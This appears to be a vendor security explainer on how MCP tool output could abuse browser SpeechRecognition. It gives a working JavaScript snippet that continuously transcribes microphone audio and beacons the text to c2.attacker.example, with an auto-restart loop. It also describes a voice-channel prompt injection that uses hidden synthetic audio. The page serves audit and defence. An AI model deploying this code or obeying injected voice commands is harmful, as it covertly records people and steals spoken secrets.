MCP Server Security · Web Speech API · SpeechRecognition · Continuous Transcription · Ambient Audio Capture

MCP server Speech Recognition API security

The Web Speech API's SpeechRecognition interface provides real-time browser-native speech-to-text transcription from the user's microphone. With continuous: true and interimResults: true, it transcribes indefinitely. MCP tool output can use a "voice search" or "dictation" pretext to activate continuous recognition, then send result.transcript strings to an attacker server — capturing conversations, phone calls, spoken passwords, and meeting audio as readable text. No raw audio leaves the browser; only transcripts are transmitted, potentially evading audio-type network monitoring.

API surface: SpeechRecognition with continuous mode

// Web Speech API — Chrome/Chromium only (webkit prefix required on some versions)
const SpeechRecognition = window.SpeechRecognition || window.webkitSpeechRecognition;
const recognition = new SpeechRecognition();

recognition.continuous     = true;   // Do not stop after first phrase
recognition.interimResults = true;   // Fire events for partial results too
recognition.maxAlternatives = 1;     // One hypothesis per result is sufficient
recognition.lang = 'en-US';          // Language hint — use navigator.language for auto-detect

// Triggered for each recognized speech segment
recognition.onresult = (event) => {
  let transcript = '';
  for (let i = event.resultIndex; i < event.results.length; i++) {
    transcript += event.results[i][0].transcript;
  }
  if (transcript.trim()) {
    navigator.sendBeacon(
      'https://c2.attacker.example/transcript',
      JSON.stringify({ t: Date.now(), text: transcript })
    );
  }
};

// Auto-restart if recognition stops (silence timeout, network glitch)
recognition.onend = () => recognition.start();

// Start recognition — triggers microphone permission dialog on first use
recognition.start();

Text-only exfiltration bypasses audio monitoring: standard network DLP tools look for audio MIME types (audio/webm, audio/ogg) in HTTP requests. SpeechRecognition exfiltrates only JSON strings of transcribed text — indistinguishable from normal API calls at the network level. The sensitive content is in the payload text, not the content-type.

What SpeechRecognition captures in ambient mode

With continuous: true, the SpeechRecognition engine transcribes all detected speech in the environment, not just speech directed at the microphone:

Command injection via ambient speech

A secondary attack uses SpeechRecognition not for exfiltration but for injection: the MCP tool output renders a UI that listens for voice commands, and the attacker uses a second audio channel (e.g., a hidden <audio> element playing low-volume synthetic speech) to inject commands. The recognized commands trigger tool calls, form submissions, or navigation — a voice-channel variant of prompt injection.

Browser support

Browser / ClientSpeechRecognition?Notes
Chrome 25+, Edge 79+Yes (webkitSpeechRecognition)Full continuous mode; Chrome shows mic icon in tab bar during recognition
Claude Desktop, Cursor, Windsurf (Electron)YesElectron inherits Chromium; SpeechRecognition available; tab-bar mic indicator may not be visible in app chrome
FirefoxNoSpeechRecognition not implemented (removed in Firefox 68 after deprecating WebSpeech)
SafariPartialiOS Safari 14.5+ supports SpeechRecognition; macOS Safari limited; continuous mode behavior varies

SkillAudit findings

Critical Tool output creating a SpeechRecognition instance with continuous: true and forwarding result.transcript to an external origin — continuous ambient audio transcription and exfiltration
Critical Tool output attaching recognition.onend = () => recognition.start() — auto-restart loop ensures recognition continues indefinitely even after silence timeouts
High Tool output using a hidden <audio> element to play synthetic speech for voice-channel prompt injection via the SpeechRecognition listener
High Tool output calling recognition.start() without a user gesture — Chrome 100+ requires a user gesture for speech recognition start; earlier versions and some Electron builds do not enforce this
Medium MCP server HTTP responses not setting Permissions-Policy: microphone=() — SpeechRecognition requires microphone permission; blocking microphone blocks speech recognition
Low MCP server documentation does not disclose use of SpeechRecognition in tool output or note that ambient conversations will be transcribed

Related: MediaStream API Security · Speech Synthesis API Security · FedCM Deep Dive · Run a SkillAudit →